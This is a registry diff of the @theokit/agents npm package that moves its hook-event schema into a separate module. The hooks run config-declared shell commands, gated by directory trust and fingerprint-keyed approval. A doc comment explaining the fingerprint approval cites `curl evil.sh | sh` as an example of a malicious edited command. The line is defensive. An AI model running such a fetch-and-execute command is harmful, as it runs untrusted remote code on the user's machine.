@theokit/agents 13.4.0 → 14.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +246 -0
- package/README.md +28 -0
- package/dist/{agent-compiler-BaOZzU7Q.d.ts → agent-compiler-B1F9iumK.d.ts} +1 -1
- package/dist/auth.js +0 -2
- package/dist/auth.js.map +1 -1
- package/dist/{bridge-entry-BgWauyLQ.d.ts → bridge-entry-C0MwIOpc.d.ts} +4 -4
- package/dist/bridge.d.ts +5 -5
- package/dist/bridge.js +3 -3
- package/dist/{chunk-CBP72LFM.js → chunk-72QVLTDI.js} +77 -9
- package/dist/chunk-72QVLTDI.js.map +1 -0
- package/dist/{chunk-SL3QW5WZ.js → chunk-DFGIED4E.js} +3 -3
- package/dist/{chunk-PYVLRSXZ.js → chunk-NKPNVQBF.js} +2 -1
- package/dist/chunk-NKPNVQBF.js.map +1 -0
- package/dist/config.d.ts +1 -1
- package/dist/config.js +7 -3
- package/dist/config.js.map +1 -1
- package/dist/{define-agent-DOZL_0uP.d.ts → define-agent-D1zBG-Ys.d.ts} +2 -2
- package/dist/{delegation-scoring-DLsMQ4BJ.d.ts → delegation-scoring-BTuTKWkZ.d.ts} +1 -1
- package/dist/hooks.d.ts +85 -48
- package/dist/hooks.js +44 -42
- package/dist/hooks.js.map +1 -1
- package/dist/index.d.ts +89 -10
- package/dist/index.js +11 -5
- package/dist/index.js.map +1 -1
- package/dist/persistence.d.ts +1 -1
- package/dist/persistence.js +5 -27
- package/dist/persistence.js.map +1 -1
- package/dist/sandbox.js.map +1 -1
- package/dist/session.js.map +1 -1
- package/dist/{setting-sources-gate-BXdZmY78.d.ts → setting-sources-gate-BoTngPIn.d.ts} +50 -8
- package/dist/testing.d.ts +3 -3
- package/dist/testing.js +1 -1
- package/dist/tools.d.ts +3 -3
- package/dist/tools.js +2 -2
- package/package.json +2 -2
- package/dist/chunk-CBP72LFM.js.map +0 -1
- package/dist/chunk-PYVLRSXZ.js.map +0 -1
- /package/dist/{chunk-SL3QW5WZ.js.map → chunk-DFGIED4E.js.map} +0 -0
package/dist/hooks.d.ts
CHANGED
|
@@ -1,67 +1,45 @@
|
|
|
1
|
+
import { H as HookHandlers } from './hook-handlers-Cw2FsnE5.js';
|
|
1
2
|
import { TheokitAgentError } from '@theokit/sdk/errors';
|
|
2
3
|
import { z } from 'zod';
|
|
3
|
-
import { H as HookHandlers } from './hook-handlers-Cw2FsnE5.js';
|
|
4
4
|
import '@theokit/sdk';
|
|
5
5
|
|
|
6
6
|
/**
|
|
7
|
-
*
|
|
8
|
-
*
|
|
9
|
-
* ## Why a fingerprint and not a name
|
|
10
|
-
*
|
|
11
|
-
* Approving a hook means approving a COMMAND to run on the operator's machine. If approval were
|
|
12
|
-
* keyed by name — or by file path, or by position in a list — then editing the command afterwards
|
|
13
|
-
* would inherit the approval. The user approves `npm test`, the file later says
|
|
14
|
-
* `curl evil.sh | sh`, and it runs under a key that is already trusted.
|
|
15
|
-
*
|
|
16
|
-
* Hashing the fields that decide WHAT RUNS makes approval non-transferable: any edit to the command,
|
|
17
|
-
* the event it fires on, the matcher that selects it, or its timeout yields a different fingerprint,
|
|
18
|
-
* which is unapproved by construction.
|
|
7
|
+
* What a hook event IS, and how a declared spec parses.
|
|
19
8
|
*
|
|
20
|
-
*
|
|
21
|
-
*
|
|
22
|
-
*
|
|
23
|
-
|
|
24
|
-
/** The fields that decide what a hook does. Anything outside this is presentation. */
|
|
25
|
-
interface HookIdentity {
|
|
26
|
-
readonly command: string;
|
|
27
|
-
readonly event: string;
|
|
28
|
-
/** Selector deciding which tools/messages this hook fires for. `undefined` means all. */
|
|
29
|
-
readonly matcher?: string;
|
|
30
|
-
readonly timeoutMs: number;
|
|
31
|
-
}
|
|
32
|
-
/**
|
|
33
|
-
* SHA-256 over the identity fields, in a fixed order.
|
|
9
|
+
* Split out of `hook-spec.ts` when that file reached 616 lines against the 600 its alignment brief
|
|
10
|
+
* caps it at (B-002 AC-007). The cut follows a boundary the file already had: this half references
|
|
11
|
+
* nothing below it, and the handler half uses exactly four names from here — a one-directional
|
|
12
|
+
* dependency, which is what made the cut safe rather than merely convenient.
|
|
34
13
|
*
|
|
35
|
-
*
|
|
36
|
-
*
|
|
37
|
-
*
|
|
14
|
+
* The other candidate was the observational half. It references `matches`, which is private — only
|
|
15
|
+
* `__matchesForTests` is exported — so extracting it would have forced that symbol public to satisfy
|
|
16
|
+
* a line count. Trading an invariant for a number is the wrong direction.
|
|
38
17
|
*/
|
|
39
|
-
declare function hookFingerprint(identity: HookIdentity): string;
|
|
40
18
|
|
|
41
19
|
/**
|
|
42
|
-
*
|
|
20
|
+
* The events the seam exposes. Declared here so an unknown one fails loudly at parse.
|
|
43
21
|
*
|
|
44
|
-
* ## What
|
|
22
|
+
* ## What this list cannot cover, and why (B-002 FR-004)
|
|
45
23
|
*
|
|
46
|
-
*
|
|
47
|
-
*
|
|
48
|
-
*
|
|
49
|
-
*
|
|
24
|
+
* There is no event that fires BEFORE the transcript is compacted, and none can be added from this
|
|
25
|
+
* package. Measured 2026-09-12 against `@theokit/sdk@5.5.0`: `HookName` is a closed union —
|
|
26
|
+
* `pre_tool_call`, `post_tool_call`, `pre_llm_call`, `post_llm_call`, `on_session_start`,
|
|
27
|
+
* `on_session_end`, `transform_tool_result`, `transform_llm_output`, `pre_user_send`,
|
|
28
|
+
* `post_assistant_reply` — with no compaction member, and `PluginContext.on` keys its callback by
|
|
29
|
+
* that union. A name this package invented would not type-check there, and a name it smuggled past
|
|
30
|
+
* the types would bind to a dispatch that never fires it.
|
|
50
31
|
*
|
|
51
|
-
*
|
|
32
|
+
* The SDK's own auto-compaction path is further out of reach: it is bundle-internal, absent from
|
|
33
|
+
* every emitted `.d.ts` and all 33 export subpaths, and builds its own summarizer at the call site.
|
|
34
|
+
* Even once a hook NAME exists, that path is not a dispatch a consumer can reach.
|
|
52
35
|
*
|
|
53
|
-
*
|
|
54
|
-
*
|
|
36
|
+
* So a consumer who needs to persist state before compaction cannot do it through this list today.
|
|
37
|
+
* `usetheokit/theokit-sdk#653` is the issue that unblocks it — it carries the nine candidate seams
|
|
38
|
+
* that were enumerated and ruled out, so a reader arrives at the reasoning rather than repeating it.
|
|
55
39
|
*
|
|
56
|
-
* -
|
|
57
|
-
*
|
|
58
|
-
* a permissive default: an optional gate is a gate somebody forgets, and forgetting this one runs
|
|
59
|
-
* a stranger's shell command.
|
|
60
|
-
*
|
|
61
|
-
* Approval is keyed by fingerprint precisely so it cannot be inherited by mutation — see
|
|
62
|
-
* `hook-fingerprint.ts`.
|
|
40
|
+
* `config/context-pressure.ts` MEASURES how close a run is to its window and is the composition
|
|
41
|
+
* point the seam should use when it lands — it must not re-derive the ratio.
|
|
63
42
|
*/
|
|
64
|
-
/** The eight events the seam exposes. Declared here so an unknown one fails loudly at parse. */
|
|
65
43
|
declare const HOOK_EVENTS: readonly ["pre_tool_call", "post_tool_call", "transform_tool_result", "transform_llm_output", "on_session_start", "on_session_end", "pre_user_send", "post_assistant_reply"];
|
|
66
44
|
type HookEvent = (typeof HOOK_EVENTS)[number];
|
|
67
45
|
/** Default per-hook wall clock, measured from the consumer this was ported from. */
|
|
@@ -114,6 +92,65 @@ declare class HookSpecError extends TheokitAgentError {
|
|
|
114
92
|
* hook at all — it is the failure mode `G10` (honest enforcement) exists to forbid.
|
|
115
93
|
*/
|
|
116
94
|
declare function parseHookSpecs(input: unknown): HookSpec[];
|
|
95
|
+
|
|
96
|
+
/**
|
|
97
|
+
* M75 — identity of a hook, for approval that cannot be inherited by mutation.
|
|
98
|
+
*
|
|
99
|
+
* ## Why a fingerprint and not a name
|
|
100
|
+
*
|
|
101
|
+
* Approving a hook means approving a COMMAND to run on the operator's machine. If approval were
|
|
102
|
+
* keyed by name — or by file path, or by position in a list — then editing the command afterwards
|
|
103
|
+
* would inherit the approval. The user approves `npm test`, the file later says
|
|
104
|
+
* `curl evil.sh | sh`, and it runs under a key that is already trusted.
|
|
105
|
+
*
|
|
106
|
+
* Hashing the fields that decide WHAT RUNS makes approval non-transferable: any edit to the command,
|
|
107
|
+
* the event it fires on, the matcher that selects it, or its timeout yields a different fingerprint,
|
|
108
|
+
* which is unapproved by construction.
|
|
109
|
+
*
|
|
110
|
+
* The timeout is included deliberately, even though it does not change what executes. A hook
|
|
111
|
+
* re-approved from 5 seconds to 5 minutes is a materially different thing to grant, and the operator
|
|
112
|
+
* should be asked again.
|
|
113
|
+
*/
|
|
114
|
+
/** The fields that decide what a hook does. Anything outside this is presentation. */
|
|
115
|
+
interface HookIdentity {
|
|
116
|
+
readonly command: string;
|
|
117
|
+
readonly event: string;
|
|
118
|
+
/** Selector deciding which tools/messages this hook fires for. `undefined` means all. */
|
|
119
|
+
readonly matcher?: string;
|
|
120
|
+
readonly timeoutMs: number;
|
|
121
|
+
}
|
|
122
|
+
/**
|
|
123
|
+
* SHA-256 over the identity fields, in a fixed order.
|
|
124
|
+
*
|
|
125
|
+
* Fixed order rather than `JSON.stringify` over an object: key order is not guaranteed across
|
|
126
|
+
* engines or after a round-trip, and a fingerprint that changed with serialisation order would
|
|
127
|
+
* silently un-approve every hook on some machines while leaving them approved on others.
|
|
128
|
+
*/
|
|
129
|
+
declare function hookFingerprint(identity: HookIdentity): string;
|
|
130
|
+
|
|
131
|
+
/**
|
|
132
|
+
* M75 — declarative hooks: from a line in a config file to a bounded, trusted subprocess.
|
|
133
|
+
*
|
|
134
|
+
* ## What the framework published before, and what it did not
|
|
135
|
+
*
|
|
136
|
+
* A well-typed seam (`HookHandlers`, 8 events, `pre_tool_call` as the only veto) — and nothing else.
|
|
137
|
+
* Every step between "the user wrote a command in a config file" and "that command runs, bounded,
|
|
138
|
+
* trusted, and its output comes back safely to the model" belonged to the consumer: 828 lines
|
|
139
|
+
* importing a SINGLE symbol from this package.
|
|
140
|
+
*
|
|
141
|
+
* ## Denial is the default, and it is not a formality
|
|
142
|
+
*
|
|
143
|
+
* This module makes the framework execute ARBITRARY USER COMMANDS. Two gates stand in front of that,
|
|
144
|
+
* and both fail closed:
|
|
145
|
+
*
|
|
146
|
+
* - `trusted` — the directory-level decision from M68/M73. Untrusted directory, no hooks.
|
|
147
|
+
* - `approved` — the per-hook fingerprint set. It is a REQUIRED argument, not an optional one with
|
|
148
|
+
* a permissive default: an optional gate is a gate somebody forgets, and forgetting this one runs
|
|
149
|
+
* a stranger's shell command.
|
|
150
|
+
*
|
|
151
|
+
* Approval is keyed by fingerprint precisely so it cannot be inherited by mutation — see
|
|
152
|
+
* `hook-fingerprint.ts`.
|
|
153
|
+
*/
|
|
117
154
|
interface BuildHookHandlersOptions {
|
|
118
155
|
/** Working directory the commands run in. */
|
|
119
156
|
readonly cwd: string;
|
package/dist/hooks.js
CHANGED
|
@@ -12,8 +12,52 @@ import {
|
|
|
12
12
|
|
|
13
13
|
// src/hooks/hook-spec.ts
|
|
14
14
|
import { randomBytes } from "crypto";
|
|
15
|
+
|
|
16
|
+
// src/hooks/hook-events.ts
|
|
15
17
|
import { TheokitAgentError } from "@theokit/sdk/errors";
|
|
16
18
|
import { z } from "zod";
|
|
19
|
+
var HOOK_EVENTS = [
|
|
20
|
+
"pre_tool_call",
|
|
21
|
+
"post_tool_call",
|
|
22
|
+
"transform_tool_result",
|
|
23
|
+
"transform_llm_output",
|
|
24
|
+
"on_session_start",
|
|
25
|
+
"on_session_end",
|
|
26
|
+
"pre_user_send",
|
|
27
|
+
"post_assistant_reply"
|
|
28
|
+
];
|
|
29
|
+
var DEFAULT_HOOK_TIMEOUT_MS = 3e4;
|
|
30
|
+
var DEFAULT_CONTINUATION_BUDGET = 3;
|
|
31
|
+
var hookSpecSchema = z.object({
|
|
32
|
+
event: z.enum(HOOK_EVENTS),
|
|
33
|
+
command: z.string().min(1).refine((value) => !/[\u0000-\u001f\u007f]/.test(value), {
|
|
34
|
+
message: "command contains control characters that would be hidden in the approval dialog"
|
|
35
|
+
}),
|
|
36
|
+
/** Selector for which tools/messages this fires on. Absent means all. */
|
|
37
|
+
matcher: z.string().optional(),
|
|
38
|
+
timeout_ms: z.number().int().positive().default(DEFAULT_HOOK_TIMEOUT_MS)
|
|
39
|
+
}).strict();
|
|
40
|
+
var HookSpecError = class extends TheokitAgentError {
|
|
41
|
+
static {
|
|
42
|
+
__name(this, "HookSpecError");
|
|
43
|
+
}
|
|
44
|
+
name = "HookSpecError";
|
|
45
|
+
constructor(message) {
|
|
46
|
+
super(message, {
|
|
47
|
+
code: "HOOK_SPEC_INVALID",
|
|
48
|
+
// A typo in a config file is not a transient condition.
|
|
49
|
+
isRetryable: false
|
|
50
|
+
});
|
|
51
|
+
}
|
|
52
|
+
};
|
|
53
|
+
function parseHookSpecs(input) {
|
|
54
|
+
const parsed = z.array(hookSpecSchema).safeParse(input);
|
|
55
|
+
if (!parsed.success) {
|
|
56
|
+
throw new HookSpecError(`invalid hook configuration: ${parsed.error.issues.map((issue) => `${issue.path.join(".")}: ${issue.message}`).join("; ")}`);
|
|
57
|
+
}
|
|
58
|
+
return parsed.data;
|
|
59
|
+
}
|
|
60
|
+
__name(parseHookSpecs, "parseHookSpecs");
|
|
17
61
|
|
|
18
62
|
// src/hooks/hook-fingerprint.ts
|
|
19
63
|
import { createHash } from "crypto";
|
|
@@ -136,48 +180,6 @@ function unwiredEventAdvice(event, reasons = UNWIRED_EVENT_REASONS) {
|
|
|
136
180
|
__name(unwiredEventAdvice, "unwiredEventAdvice");
|
|
137
181
|
|
|
138
182
|
// src/hooks/hook-spec.ts
|
|
139
|
-
var HOOK_EVENTS = [
|
|
140
|
-
"pre_tool_call",
|
|
141
|
-
"post_tool_call",
|
|
142
|
-
"transform_tool_result",
|
|
143
|
-
"transform_llm_output",
|
|
144
|
-
"on_session_start",
|
|
145
|
-
"on_session_end",
|
|
146
|
-
"pre_user_send",
|
|
147
|
-
"post_assistant_reply"
|
|
148
|
-
];
|
|
149
|
-
var DEFAULT_HOOK_TIMEOUT_MS = 3e4;
|
|
150
|
-
var DEFAULT_CONTINUATION_BUDGET = 3;
|
|
151
|
-
var hookSpecSchema = z.object({
|
|
152
|
-
event: z.enum(HOOK_EVENTS),
|
|
153
|
-
command: z.string().min(1).refine((value) => !/[\u0000-\u001f\u007f]/.test(value), {
|
|
154
|
-
message: "command contains control characters that would be hidden in the approval dialog"
|
|
155
|
-
}),
|
|
156
|
-
/** Selector for which tools/messages this fires on. Absent means all. */
|
|
157
|
-
matcher: z.string().optional(),
|
|
158
|
-
timeout_ms: z.number().int().positive().default(DEFAULT_HOOK_TIMEOUT_MS)
|
|
159
|
-
}).strict();
|
|
160
|
-
var HookSpecError = class extends TheokitAgentError {
|
|
161
|
-
static {
|
|
162
|
-
__name(this, "HookSpecError");
|
|
163
|
-
}
|
|
164
|
-
name = "HookSpecError";
|
|
165
|
-
constructor(message) {
|
|
166
|
-
super(message, {
|
|
167
|
-
code: "HOOK_SPEC_INVALID",
|
|
168
|
-
// A typo in a config file is not a transient condition.
|
|
169
|
-
isRetryable: false
|
|
170
|
-
});
|
|
171
|
-
}
|
|
172
|
-
};
|
|
173
|
-
function parseHookSpecs(input) {
|
|
174
|
-
const parsed = z.array(hookSpecSchema).safeParse(input);
|
|
175
|
-
if (!parsed.success) {
|
|
176
|
-
throw new HookSpecError(`invalid hook configuration: ${parsed.error.issues.map((issue) => `${issue.path.join(".")}: ${issue.message}`).join("; ")}`);
|
|
177
|
-
}
|
|
178
|
-
return parsed.data;
|
|
179
|
-
}
|
|
180
|
-
__name(parseHookSpecs, "parseHookSpecs");
|
|
181
183
|
var IGNORE_WARNING = /* @__PURE__ */ __name(() => void 0, "IGNORE_WARNING");
|
|
182
184
|
var WIRED_EVENT_LIST = [
|
|
183
185
|
"pre_tool_call",
|
package/dist/hooks.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"sources":["../src/hooks/hook-spec.ts","../src/hooks/hook-fingerprint.ts","../src/hooks/hook-runner.ts","../src/hooks/unwired-events.ts","../src/hooks/approval-store.ts"],"mappings":";;;;;;;;;;;;;AAAA,SAASA,mBAAmB;AAG5B,SAASC,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D,UAAMC,MAAMZ,eAAeW,KAAAA;AAC3B,UAAMiB,UAAU,KAAK,MAAK;AAC1BA,YAAQC,IAAI,GAAGjB,GAAAA,KAAYW,gBAAgB1B,QAAAA,CAAAA,IAAa;MACtDqB,aAAaK,gBAAgB1B,QAAAA;MAC7Bc,OAAOC;MACPc,SAAS7B,SAAS6B;MAClB5B,OAAOD,SAASC;MAChB,GAAID,SAASE,YAAY+B,SAAY,CAAC,IAAI;QAAE/B,SAASF,SAASE;MAAQ;MACtEgC,aAAY,oBAAIC,KAAAA,GAAOC,YAAW;IACpC,CAAA;AACA,SAAK,SAASL,OAAAA;EAChB;EAEAM,OAAOrC,UAAwBc,OAAqB;AAClD,UAAMiB,UAAU,KAAK,MAAK;AAC1B,QAAIA,QAAQO,OAAO,GAAGnC,eAAeW,KAAAA,CAAAA,KAAeY,gBAAgB1B,QAAAA,CAAAA,EAAW,GAAG;AAChF,WAAK,SAAS+B,OAAAA;IAChB;EACF;;;;;;;EAQA,QAAK;AACH,UAAM,EAAEQ,OAAOC,MAAK,IAAKC,eACvB,KAAKjC,MACL,CAACkC,QAAAA;AACC,YAAMC,SAAkBC,KAAKC,MAAMH,GAAAA;AACnC,UAAI,CAACI,MAAMC,QAAQJ,MAAAA,EAAS,OAAM,IAAIK,MAAM,uCAAA;AAC5C,aAAOL;IACT,GACA,CAAA,CAAE;AAEJ,SAAKlC,gBAAgB+B;AAErB,SAAK,WAAW,IAAIS,IAAIV,MAAMnB,IAAI,CAACD,MAAM;MAAC,GAAGA,EAAEL,KAAK,KAASK,EAAEE,WAAW;MAAIF;KAAE,CAAA;AAChF,WAAO,KAAK;EACd;EAEA,SAASY,SAAoC;AAC3CmB,oBAAgB,KAAK1C,MAAM,MAAM,GAAGoC,KAAKO,UAAU;SAAIpB,QAAQd,OAAM;OAAK,MAAM,CAAA,CAAA;CAAM;EACxF;AACF;","names":["randomBytes","TheokitAgentError","z","createHash","FIELD_SEPARATOR","hookFingerprint","identity","canonical","command","event","matcher","String","timeoutMs","join","createHash","update","digest","spawn","MAX_OUTPUT_BYTES","DRAIN_BUDGET_MS","CHAIN_BUDGET_MULTIPLIER","runHookCommand","input","Promise","resolve","child","spawn","command","cwd","shell","detached","env","stdio","stdout","stderr","truncated","timedOut","settled","capture","current","chunk","length","next","toString","slice","on","settle","exitCode","clearTimeout","timer","drainTimer","setTimeout","killGroup","pid","timeoutMs","undefined","code","stdin","end","process","kill","UNWIRED_EVENT_REASONS","Object","freeze","transform_llm_output","seam","reason","pre_user_send","on_session_end","unwiredEventAdvice","event","reasons","entry","undefined","HOOK_EVENTS","DEFAULT_HOOK_TIMEOUT_MS","DEFAULT_CONTINUATION_BUDGET","hookSpecSchema","z","object","event","enum","command","string","min","refine","value","test","message","matcher","optional","timeout_ms","number","int","positive","default","strict","HookSpecError","TheokitAgentError","name","code","isRetryable","parseHookSpecs","input","parsed","array","safeParse","success","error","issues","map","issue","path","join","data","IGNORE_WARNING","undefined","WIRED_EVENT_LIST","WIRED_EVENTS","Set","buildHookHandlers","specs","options","warn","onWarn","trusted","length","String","fingerprintOf","fingerprint","hookFingerprint","runnable","filter","spec","approved","has","identityOf","unwiredEventAdvice","handlers","chainBudgetMs","Math","max","CHAIN_BUDGET_MULTIPLIER","preHooks","pre_tool_call","ctx","started","Date","now","onVeto","tool","reason","block","matches","result","runHookCommand","cwd","timeoutMs","stdin","JSON","stringify","args","env","exitCode","fenceHookOutput","stdout","stderr","postHooks","post_tool_call","truncated","transformHooks","transform_tool_result","buildTransformHandler","assignObservationalHandlers","OBSERVATIONAL_EVENTS","list","buildObservationalHandler","toolName","trimmed","trim","includes","split","RegExp","fenceHookOutput","output","nonce","randomBytes","toString","open","close","escaped","replaceAll","OBSERVATIONAL_EVENTS","buildTransformHandler","transformHooks","options","warn","chainBudgetMs","remaining","continuationBudget","DEFAULT_CONTINUATION_BUDGET","results","ctx","out","started","Date","now","spec","targets","matcher","undefined","toolCalls","length","filter","call","matches","name","result","runHookCommand","command","cwd","timeoutMs","timeout_ms","stdin","JSON","stringify","tool","args","env","exitCode","feedback","stdout","trim","String","assignObservationalHandlers","handlers","events","make","specs","event","list","buildObservationalHandler","realpathSync","join","resolve","slotOf","identity","event","matcher","canonicalScope","dir","realpathSync","resolve","HookApprovalStore","path","lastReadError","options","join","home","approvedFingerprints","scope","key","Set","values","filter","r","map","fingerprint","approvals","stateOf","inScope","some","hookFingerprint","slot","record","command","approve","records","set","undefined","approvedAt","Date","toISOString","revoke","delete","value","error","readSecureJson","raw","parsed","JSON","parse","Array","isArray","Error","Map","writeSecureJson","stringify"]}
|
|
1
|
+
{"version":3,"sources":["../src/hooks/hook-spec.ts","../src/hooks/hook-events.ts","../src/hooks/hook-fingerprint.ts","../src/hooks/hook-runner.ts","../src/hooks/unwired-events.ts","../src/hooks/approval-store.ts"],"mappings":";;;;;;;;;;;;;AAAA,SAASA,mBAAmB;;;ACY5B,SAASC,yBAAyB;AAClC,SAASC,SAAS;AA0BX,IAAMC,cAAc;EACzB;EACA;EACA;EACA;EACA;EACA;EACA;EACA;;AAMK,IAAMC,0BAA0B;AAQhC,IAAMC,8BAA8B;AAQpC,IAAMC,iBAAiBC,EAC3BC,OAAO;EACNC,OAAOF,EAAEG,KAAKP,WAAAA;EACdQ,SAASJ,EACNK,OAAM,EACNC,IAAI,CAAA,EAQJC,OAAO,CAACC,UAAU,CAAC,wBAAwBC,KAAKD,KAAAA,GAAQ;IACvDE,SAAS;EACX,CAAA;;EAEFC,SAASX,EAAEK,OAAM,EAAGO,SAAQ;EAC5BC,YAAYb,EAAEc,OAAM,EAAGC,IAAG,EAAGC,SAAQ,EAAGC,QAAQpB,uBAAAA;AAClD,CAAA,EACCqB,OAAM;AAWF,IAAMC,gBAAN,cAA4BC,kBAAAA;EApGnC,OAoGmCA;;;EACfC,OAAO;EACzB,YAAYX,SAAiB;AAC3B,UAAMA,SAAS;MACbY,MAAM;;MAENC,aAAa;IACf,CAAA;EACF;AACF;AASO,SAASC,eAAeC,OAAc;AAC3C,QAA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C,UAAI,CAACI,MAAMC,QAAQJ,MAAAA,EAAS,OAAM,IAAIK,MAAM,uCAAA;AAC5C,aAAOL;IACT,GACA,CAAA,CAAE;AAEJ,SAAKlC,gBAAgB+B;AAErB,SAAK,WAAW,IAAIS,IAAIV,MAAMnB,IAAI,CAACD,MAAM;MAAC,GAAGA,EAAEL,KAAK,KAASK,EAAEE,WAAW;MAAIF;KAAE,CAAA;AAChF,WAAO,KAAK;EACd;EAEA,SAASY,SAAoC;AAC3CmB,oBAAgB,KAAK1C,MAAM,MAAM,GAAGoC,KAAKO,UAAU;SAAIpB,QAAQd,OAAM;OAAK,MAAM,CAAA,CAAA;CAAM;EACxF;AACF;","names":["randomBytes","TheokitAgentError","z","HOOK_EVENTS","DEFAULT_HOOK_TIMEOUT_MS","DEFAULT_CONTINUATION_BUDGET","hookSpecSchema","z","object","event","enum","command","string","min","refine","value","test","message","matcher","optional","timeout_ms","number","int","positive","default","strict","HookSpecError","TheokitAgentError","name","code","isRetryable","parseHookSpecs","input","parsed","array","safeParse","success","error","issues","map","issue","path","join","data","createHash","FIELD_SEPARATOR","hookFingerprint","identity","canonical","command","event","matcher","String","timeoutMs","join","createHash","update","digest","spawn","MAX_OUTPUT_BYTES","DRAIN_BUDGET_MS","CHAIN_BUDGET_MULTIPLIER","runHookCommand","input","Promise","resolve","child","spawn","command","cwd","shell","detached","env","stdio","stdout","stderr","truncated","timedOut","settled","capture","current","chunk","length","next","toString","slice","on","settle","exitCode","clearTimeout","timer","drainTimer","setTimeout","killGroup","pid","timeoutMs","undefined","code","stdin","end","process","kill","UNWIRED_EVENT_REASONS","Object","freeze","transform_llm_output","seam","reason","pre_user_send","on_session_end","unwiredEventAdvice","event","reasons","entry","undefined","IGNORE_WARNING","undefined","WIRED_EVENT_LIST","WIRED_EVENTS","Set","buildHookHandlers","specs","options","warn","onWarn","trusted","length","String","fingerprintOf","fingerprint","hookFingerprint","runnable","filter","spec","approved","has","identityOf","command","event","unwiredEventAdvice","handlers","chainBudgetMs","Math","max","map","timeout_ms","CHAIN_BUDGET_MULTIPLIER","preHooks","pre_tool_call","ctx","started","Date","now","message","onVeto","tool","name","reason","block","matches","result","runHookCommand","cwd","timeoutMs","stdin","JSON","stringify","args","env","exitCode","fenceHookOutput","stdout","stderr","postHooks","post_tool_call","truncated","error","transformHooks","transform_tool_result","buildTransformHandler","assignObservationalHandlers","OBSERVATIONAL_EVENTS","list","buildObservationalHandler","matcher","toolName","trimmed","trim","includes","split","RegExp","test","fenceHookOutput","output","nonce","randomBytes","toString","open","close","escaped","replaceAll","OBSERVATIONAL_EVENTS","buildTransformHandler","transformHooks","options","warn","chainBudgetMs","remaining","continuationBudget","DEFAULT_CONTINUATION_BUDGET","results","ctx","out","started","Date","now","spec","targets","matcher","undefined","toolCalls","length","filter","call","matches","name","result","runHookCommand","command","cwd","timeoutMs","timeout_ms","stdin","JSON","stringify","tool","args","env","exitCode","feedback","stdout","trim","String","assignObservationalHandlers","handlers","events","make","specs","event","list","buildObservationalHandler","realpathSync","join","resolve","slotOf","identity","event","matcher","canonicalScope","dir","realpathSync","resolve","HookApprovalStore","path","lastReadError","options","join","home","approvedFingerprints","scope","key","Set","values","filter","r","map","fingerprint","approvals","stateOf","inScope","some","hookFingerprint","slot","record","command","approve","records","set","undefined","approvedAt","Date","toISOString","revoke","delete","value","error","readSecureJson","raw","parsed","JSON","parse","Array","isArray","Error","Map","writeSecureJson","stringify"]}
|
package/dist/index.d.ts
CHANGED
|
@@ -2,18 +2,18 @@ import { PluginsSettings, Plugin, ProviderRoutingSettings, AgentDefinition, Budg
|
|
|
2
2
|
export { BudgetTracker, CustomTool, DiagnosticsSink, GenerateObjectError, GoalEvent, GoalLoopAgent, GoalOptions, GoalResult, InlineSkill, JudgeCredentialError, JudgeResult, LayerOrderError, McpAuthConfig, McpHttpServerConfig, McpOAuthConfig, McpServerConfig, McpStdioServerConfig, Plugin, PluginsSettings, Provider, ProviderRoutingSettings, RunEvent, SDKAgent, SessionRecord, SessionStore, Squad, StreamObjectError, Tool, ToolError, ToolResultContentBlock, TrustLevel, TrustPosture, TrustPostureInput, TrustSource, UngatedCapabilityError, Verdict, WiredEntity, applySecurityFloor, auditEnvReachability, foldLayers, recordWiring, resolveTrustPosture, setDiagnosticsSink, verifyLayerOrdering } from '@theokit/sdk';
|
|
3
3
|
import { b as MainLoopMeta, R as ReasoningEffort, T as ToolOptions, A as ApprovalOptions, H as HumanInTheLoopOptions } from './types-C16Wuh9E.js';
|
|
4
4
|
export { c as AgentOptions, B as BudgetOptions, d as MainLoopOptions, M as McpServersMap, e as PolicyHandler, f as TimeoutAction, g as ToolboxOptions } from './types-C16Wuh9E.js';
|
|
5
|
-
import { C as ContextWindowOptions, S as SkillsOptions, A as AgentManifestEntry, H as HitlDecision, s as streamAgentUIMessages, a as ApprovalPosture, b as AgentModule } from './bridge-entry-
|
|
6
|
-
export { c as APPROVAL_MODES, d as AfterToolCallContext, e as AgentBuilder, f as AgentDefinitionError, g as AgentExecutionContext, h as AgentManifest, i as AgentManifestSource, j as AgentManifestTool, k as AgentRoute, l as AgentRouteContext, m as AgentRunInfo, n as AgentsPluginOptions, o as ApiErrorContext, p as ApiErrorDecision, q as ApiErrorPolicy, r as ApprovalMode, t as ApprovalRequest, B as BeforeToolCallContext, u as CompiledContextWindow, v as ContextualTool, D as DefinitionOrThunk, w as DelegationTimeoutError, E as EphemeralAgent, L as LLMCallContext, M as McpApprovalSpec, x as McpFileError, y as McpRegistryConfig, z as McpRequestContext, F as McpSelection, P as ProcessInputContext, R as RuntimeOverrides, G as SdkAgentHandle, I as SdkMessage, J as SdkSendOptions, K as SdkTurnHandle, N as Segment, O as ShouldAutoApproveOptions, T as ToolCallVeto, Q as ToolHooks, U as ToolHooksPlugin, W as WRITE_SCOPED_TOOLS, V as agentsPlugin, X as applyPosture, Y as buildModelSelection, Z as compileAgentModule, _ as compileContextWindow, $ as compileLoadedAgentModule, a0 as compileProjectContext, a1 as compileSkills, a2 as createAgentExecutionContext, a3 as createApiErrorHandler, a4 as createSdkAgentStream, a5 as createThinkTagExtractor, a6 as createToolHooksPlugin, a7 as extractThinkTagStream, a8 as generateAgentManifest, a9 as generateAgentRoutes, aa as isAgentContext, ab as loadMcpJson, ac as mcpRegistry, ad as mcpToolApprovals, ae as projectContextMetadataOnlyKnobs, af as reasoningEffortOf, ag as resolveMcpServers, ah as runWithApiErrorHandling, ai as shouldAutoApprove, aj as toAgentFactory, ak as translateSdkEvent, al as withClockCap, am as withEphemeralAgent } from './bridge-entry-
|
|
5
|
+
import { C as ContextWindowOptions, S as SkillsOptions, A as AgentManifestEntry, H as HitlDecision, s as streamAgentUIMessages, a as ApprovalPosture, b as AgentModule } from './bridge-entry-C0MwIOpc.js';
|
|
6
|
+
